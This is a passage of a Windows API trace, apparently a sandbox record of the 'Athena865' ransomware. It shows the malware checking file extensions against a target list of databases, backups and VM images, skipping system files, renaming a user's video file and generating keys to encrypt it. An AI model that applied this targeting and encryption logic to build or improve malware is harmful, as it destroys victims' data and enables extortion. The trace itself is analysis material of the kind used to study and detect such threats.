lstrlenW (lpString="cat") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1 [0102.741] lstrlenW (lpString="cdb") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1 [0102.741] lstrlenW (lpString="ckp") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1 [0102.741] lstrlenW (lpString="cma") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1 [0102.741] lstrlenW (lpString="cpd") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1 [0102.741] lstrlenW (lpString="dacpac") returned 6 [0102.741] lstrcmpiW (lpString1="Ay.avi", lpString2="dacpac") returned -1 [0102.741] lstrlenW (lpString="dad") returned 3 [0102.741] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1 [0102.742] lstrlenW (lpString="dadiagrams") returned 10 [0102.742] lstrcmpiW (lpString1="vRRMAy.avi", lpString2="dadiagrams") returned 1 [0102.742] lstrlenW (lpString="daschema") returned 8 [0102.742] lstrcmpiW (lpString1="RMAy.avi", lpString2="daschema") returned 1 [0102.742] lstrlenW (lpString="db-journal") returned 10 [0102.742] lstrcmpiW (lpString1="vRRMAy.avi", lpString2="db-journal") returned 1 [0102.742] lstrlenW (lpString="db-shm") returned 6 [0102.742] lstrcmpiW (lpString1="Ay.avi", lpString2="db-shm") returned -1 [0102.742] lstrlenW (lpString="db-wal") returned 6 [0102.742] lstrcmpiW (lpString1="Ay.avi", lpString2="db-wal") returned -1 [0102.742] lstrlenW (lpString="dbc") returned 3 [0102.742] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1 [0102.742] lstrlenW (lpString="dbs") returned 3 [0102.742] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1 [0102.742] lstrlenW (lpString="dbt") returned 3 [0102.742] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1 [0102.742] lstrlenW (lpString="dbv") returned 3 [0102.742] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1 [0102.742] lstrlenW (lpString="dbx") returned 3 [0102.742] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1 [0102.742] lstrlenW (lpString="dcb") returned 3 [0102.742] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1 [0102.742] lstrlenW (lpString="dct") returned 3 [0102.742] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1 [0102.742] lstrlenW (lpString="dcx") returned 3 [0102.742] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1 [0102.742] lstrlenW (lpString="ddl") returned 3 [0102.742] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1 [0102.742] lstrlenW (lpString="dlis") returned 4 [0102.742] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1 [0102.742] lstrlenW (lpString="dp1") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1 [0102.743] lstrlenW (lpString="dqy") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1 [0102.743] lstrlenW (lpString="dsk") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1 [0102.743] lstrlenW (lpString="dsn") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1 [0102.743] lstrlenW (lpString="dtsx") returned 4 [0102.743] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1 [0102.743] lstrlenW (lpString="dxl") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1 [0102.743] lstrlenW (lpString="eco") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1 [0102.743] lstrlenW (lpString="ecx") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1 [0102.743] lstrlenW (lpString="edb") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1 [0102.743] lstrlenW (lpString="epim") returned 4 [0102.743] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1 [0102.743] lstrlenW (lpString="fcd") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1 [0102.743] lstrlenW (lpString="fdb") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1 [0102.743] lstrlenW (lpString="fic") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1 [0102.743] lstrlenW (lpString="flexolibrary") returned 12 [0102.743] lstrcmpiW (lpString1="V6vRRMAy.avi", lpString2="flexolibrary") returned 1 [0102.743] lstrlenW (lpString="fm5") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1 [0102.743] lstrlenW (lpString="fmp") returned 3 [0102.743] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1 [0102.744] lstrlenW (lpString="fmp12") returned 5 [0102.744] lstrcmpiW (lpString1="y.avi", lpString2="fmp12") returned 1 [0102.744] lstrlenW (lpString="fmpsl") returned 5 [0102.744] lstrcmpiW (lpString1="y.avi", lpString2="fmpsl") returned 1 [0102.744] lstrlenW (lpString="fol") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1 [0102.744] lstrlenW (lpString="fp3") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1 [0102.744] lstrlenW (lpString="fp4") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1 [0102.744] lstrlenW (lpString="fp5") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1 [0102.744] lstrlenW (lpString="fp7") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1 [0102.744] lstrlenW (lpString="fpt") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1 [0102.744] lstrlenW (lpString="frm") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1 [0102.744] lstrlenW (lpString="gdb") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0102.744] lstrlenW (lpString="gdb") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1 [0102.744] lstrlenW (lpString="grdb") returned 4 [0102.744] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1 [0102.744] lstrlenW (lpString="gwi") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1 [0102.744] lstrlenW (lpString="hdb") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1 [0102.744] lstrlenW (lpString="his") returned 3 [0102.744] lstrcmpiW (lpString1="avi", lpString2="his") returned -1 [0102.744] lstrlenW (lpString="ib") returned 2 [0102.744] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1 [0102.745] lstrlenW (lpString="idb") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1 [0102.745] lstrlenW (lpString="ihx") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1 [0102.745] lstrlenW (lpString="itdb") returned 4 [0102.745] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1 [0102.745] lstrlenW (lpString="itw") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1 [0102.745] lstrlenW (lpString="jet") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1 [0102.745] lstrlenW (lpString="jtx") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1 [0102.745] lstrlenW (lpString="kdb") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1 [0102.745] lstrlenW (lpString="kexi") returned 4 [0102.745] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1 [0102.745] lstrlenW (lpString="kexic") returned 5 [0102.745] lstrcmpiW (lpString1="y.avi", lpString2="kexic") returned 1 [0102.745] lstrlenW (lpString="kexis") returned 5 [0102.745] lstrcmpiW (lpString1="y.avi", lpString2="kexis") returned 1 [0102.745] lstrlenW (lpString="lgc") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1 [0102.745] lstrlenW (lpString="lwx") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1 [0102.745] lstrlenW (lpString="maf") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1 [0102.745] lstrlenW (lpString="maq") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1 [0102.745] lstrlenW (lpString="mar") returned 3 [0102.745] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1 [0102.745] lstrlenW (lpString="marshal") returned 7 [0102.745] lstrcmpiW (lpString1="MAy.avi", lpString2="marshal") returned 1 [0102.746] lstrlenW (lpString="mas") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1 [0102.746] lstrlenW (lpString="mav") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1 [0102.746] lstrlenW (lpString="maw") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1 [0102.746] lstrlenW (lpString="mdbhtml") returned 7 [0102.746] lstrcmpiW (lpString1="MAy.avi", lpString2="mdbhtml") returned -1 [0102.746] lstrlenW (lpString="mdn") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1 [0102.746] lstrlenW (lpString="mdt") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1 [0102.746] lstrlenW (lpString="mfd") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1 [0102.746] lstrlenW (lpString="mpd") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1 [0102.746] lstrlenW (lpString="mrg") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1 [0102.746] lstrlenW (lpString="mud") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1 [0102.746] lstrlenW (lpString="mwb") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1 [0102.746] lstrlenW (lpString="myd") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1 [0102.746] lstrlenW (lpString="ndf") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1 [0102.746] lstrlenW (lpString="nnt") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1 [0102.746] lstrlenW (lpString="nrmlib") returned 6 [0102.746] lstrcmpiW (lpString1="Ay.avi", lpString2="nrmlib") returned -1 [0102.746] lstrlenW (lpString="ns2") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1 [0102.746] lstrlenW (lpString="ns3") returned 3 [0102.746] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1 [0102.747] lstrlenW (lpString="ns4") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1 [0102.747] lstrlenW (lpString="nsf") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1 [0102.747] lstrlenW (lpString="nv") returned 2 [0102.747] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1 [0102.747] lstrlenW (lpString="nv2") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1 [0102.747] lstrlenW (lpString="nwdb") returned 4 [0102.747] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1 [0102.747] lstrlenW (lpString="nyf") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1 [0102.747] lstrlenW (lpString="odb") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0102.747] lstrlenW (lpString="odb") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1 [0102.747] lstrlenW (lpString="oqy") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1 [0102.747] lstrlenW (lpString="ora") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1 [0102.747] lstrlenW (lpString="orx") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1 [0102.747] lstrlenW (lpString="owc") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1 [0102.747] lstrlenW (lpString="p96") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1 [0102.747] lstrlenW (lpString="p97") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1 [0102.747] lstrlenW (lpString="pan") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1 [0102.747] lstrlenW (lpString="pdb") returned 3 [0102.747] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1 [0102.747] lstrlenW (lpString="pdm") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1 [0102.748] lstrlenW (lpString="pnz") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1 [0102.748] lstrlenW (lpString="qry") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1 [0102.748] lstrlenW (lpString="qvd") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1 [0102.748] lstrlenW (lpString="rbf") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1 [0102.748] lstrlenW (lpString="rctd") returned 4 [0102.748] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1 [0102.748] lstrlenW (lpString="rod") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1 [0102.748] lstrlenW (lpString="rodx") returned 4 [0102.748] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1 [0102.748] lstrlenW (lpString="rpd") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1 [0102.748] lstrlenW (lpString="rsd") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1 [0102.748] lstrlenW (lpString="sas7bdat") returned 8 [0102.748] lstrcmpiW (lpString1="RMAy.avi", lpString2="sas7bdat") returned -1 [0102.748] lstrlenW (lpString="sbf") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1 [0102.748] lstrlenW (lpString="scx") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1 [0102.748] lstrlenW (lpString="sdb") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1 [0102.748] lstrlenW (lpString="sdc") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1 [0102.748] lstrlenW (lpString="sdf") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1 [0102.748] lstrlenW (lpString="sis") returned 3 [0102.748] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1 [0102.748] lstrlenW (lpString="spq") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1 [0102.749] lstrlenW (lpString="te") returned 2 [0102.749] lstrcmpiW (lpString1="vi", lpString2="te") returned 1 [0102.749] lstrlenW (lpString="teacher") returned 7 [0102.749] lstrcmpiW (lpString1="MAy.avi", lpString2="teacher") returned -1 [0102.749] lstrlenW (lpString="tmd") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1 [0102.749] lstrlenW (lpString="tps") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1 [0102.749] lstrlenW (lpString="trc") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0102.749] lstrlenW (lpString="trc") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1 [0102.749] lstrlenW (lpString="trm") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1 [0102.749] lstrlenW (lpString="udb") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1 [0102.749] lstrlenW (lpString="udl") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1 [0102.749] lstrlenW (lpString="usr") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1 [0102.749] lstrlenW (lpString="v12") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1 [0102.749] lstrlenW (lpString="vis") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1 [0102.749] lstrlenW (lpString="vpd") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1 [0102.749] lstrlenW (lpString="vvv") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1 [0102.749] lstrlenW (lpString="wdb") returned 3 [0102.749] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1 [0102.749] lstrlenW (lpString="wmdb") returned 4 [0102.749] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1 [0102.750] lstrlenW (lpString="wrk") returned 3 [0102.750] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1 [0102.750] lstrlenW (lpString="xdb") returned 3 [0102.750] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1 [0102.750] lstrlenW (lpString="xld") returned 3 [0102.750] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1 [0102.750] lstrlenW (lpString="xmlff") returned 5 [0102.750] lstrcmpiW (lpString1="y.avi", lpString2="xmlff") returned 1 [0102.750] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\y1q8V6vRRMAy.avi.Athena865") returned 98 [0102.750] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\y1q8V6vRRMAy.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\y1q8v6vrrmay.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\y1q8V6vRRMAy.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\y1q8v6vrrmay.avi.athena865"), dwFlags=0x1) returned 1 [0102.751] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\Xq4jS8elFnsM1RuTo\\y1q8V6vRRMAy.avi.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\xq4js8elfnsm1ruto\\y1q8v6vrrmay.avi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0102.751] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=74841) returned 1 [0102.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.751] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.752] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.752] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.752] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12760, lpName=0x0) returned 0x154 [0102.752] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12760) returned 0x100000 [0102.755] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.755] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.755] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.756] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.757] CloseHandle (hObject=0x154) returned 1 [0102.757] CloseHandle (hObject=0x17c) returned 1 [0102.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.759] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c4e9c0, ftCreationTime.dwHighDateTime=0x1d4caf2, ftLastAccessTime.dwLowDateTime=0xb577c070, ftLastAccessTime.dwHighDateTime=0x1d4d56e, ftLastWriteTime.dwLowDateTime=0xb577c070, ftLastWriteTime.dwHighDateTime=0x1d4d56e, nFileSizeHigh=0x0, nFileSizeLow=0x8145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y48eaEOncM.mp4", cAlternateFileName="Y48EAE~1.MP4")) returned 1 [0102.759] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.759] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.759] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2=".") returned 1 [0102.759] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="..") returned 1 [0102.759] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="windows") returned 1 [0102.759] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="bootmgr") returned 1 [0102.759] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="temp") returned 1 [0102.759] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="pagefile.sys") returned 1 [0102.759] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="boot") returned 1 [0102.760] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="ids.txt") returned 1 [0102.761] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="ntuser.dat") returned 1 [0102.761] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="perflogs") returned 1 [0102.761] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2="MSBuild") returned 1 [0102.762] lstrlenW (lpString="Y48eaEOncM.mp4") returned 14 [0102.762] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Y48eaEOncM.mp4" | out: lpString1="Y48eaEOncM.mp4") returned="Y48eaEOncM.mp4" [0102.763] lstrlenW (lpString="Y48eaEOncM.mp4") returned 14 [0102.763] lstrlenW (lpString="Athena865") returned 9 [0102.763] lstrcmpiW (lpString1="EOncM.mp4", lpString2="Athena865") returned 1 [0102.764] lstrlenW (lpString=".dll") returned 4 [0102.764] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2=".dll") returned 1 [0102.764] lstrlenW (lpString=".lnk") returned 4 [0102.764] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2=".lnk") returned 1 [0102.764] lstrlenW (lpString=".ini") returned 4 [0102.764] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2=".ini") returned 1 [0102.764] lstrlenW (lpString=".sys") returned 4 [0102.764] lstrcmpiW (lpString1="Y48eaEOncM.mp4", lpString2=".sys") returned 1 [0102.764] lstrlenW (lpString="Y48eaEOncM.mp4") returned 14 [0102.764] lstrlenW (lpString="bak") returned 3 [0102.764] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1 [0102.765] lstrlenW (lpString="ba_") returned 3 [0102.765] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1 [0102.766] lstrlenW (lpString="dbb") returned 3 [0102.766] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1 [0102.766] lstrlenW (lpString="vmdk") returned 4 [0102.766] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1 [0102.766] lstrlenW (lpString="rar") returned 3 [0102.766] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1 [0102.766] lstrlenW (lpString="zip") returned 3 [0102.766] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1 [0102.766] lstrlenW (lpString="tgz") returned 3 [0102.766] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1 [0102.766] lstrlenW (lpString="vbox") returned 4 [0102.766] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1 [0102.766] lstrlenW (lpString="vdi") returned 3 [0102.766] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1 [0102.767] lstrlenW (lpString="vhd") returned 3 [0102.767] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1 [0102.767] lstrlenW (lpString="vhdx") returned 4 [0102.767] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1 [0102.767] lstrlenW (lpString="avhd") returned 4 [0102.767] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1 [0102.767] lstrlenW (lpString="db") returned 2 [0102.767] lstrcmpiW (lpString1="p4", lpString2="db") returned 1 [0102.768] lstrlenW (lpString="db2") returned 3 [0102.768] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1 [0102.769] lstrlenW (lpString="db3") returned 3 [0102.769] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1 [0102.769] lstrlenW (lpString="dbf") returned 3 [0102.769] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1 [0102.769] lstrlenW (lpString="mdf") returned 3 [0102.769] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1 [0102.769] lstrlenW (lpString="mdb") returned 3 [0102.769] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1 [0102.769] lstrlenW (lpString="sql") returned 3 [0102.769] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1 [0102.769] lstrlenW (lpString="sqlite") returned 6 [0102.769] lstrcmpiW (lpString1="cM.mp4", lpString2="sqlite") returned -1 [0102.769] lstrlenW (lpString="sqlite3") returned 7 [0102.769] lstrcmpiW (lpString1="ncM.mp4", lpString2="sqlite3") returned -1 [0102.770] lstrlenW (lpString="sqlitedb") returned 8 [0102.770] lstrcmpiW (lpString1="OncM.mp4", lpString2="sqlitedb") returned -1 [0102.770] lstrlenW (lpString="xml") returned 3 [0102.770] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1 [0102.770] lstrlenW (lpString="$er") returned 3 [0102.770] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1 [0102.770] lstrlenW (lpString="4dd") returned 3 [0102.770] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1 [0102.770] lstrlenW (lpString="4dl") returned 3 [0102.770] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1 [0102.770] lstrlenW (lpString="^^^") returned 3 [0102.770] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1 [0102.770] lstrlenW (lpString="abs") returned 3 [0102.770] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1 [0102.770] lstrlenW (lpString="abx") returned 3 [0102.770] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1 [0102.770] lstrlenW (lpString="accdb") returned 5 [0102.770] lstrcmpiW (lpString1="M.mp4", lpString2="accdb") returned 1 [0102.770] lstrlenW (lpString="accdc") returned 5 [0102.770] lstrcmpiW (lpString1="M.mp4", lpString2="accdc") returned 1 [0102.770] lstrlenW (lpString="accde") returned 5 [0102.770] 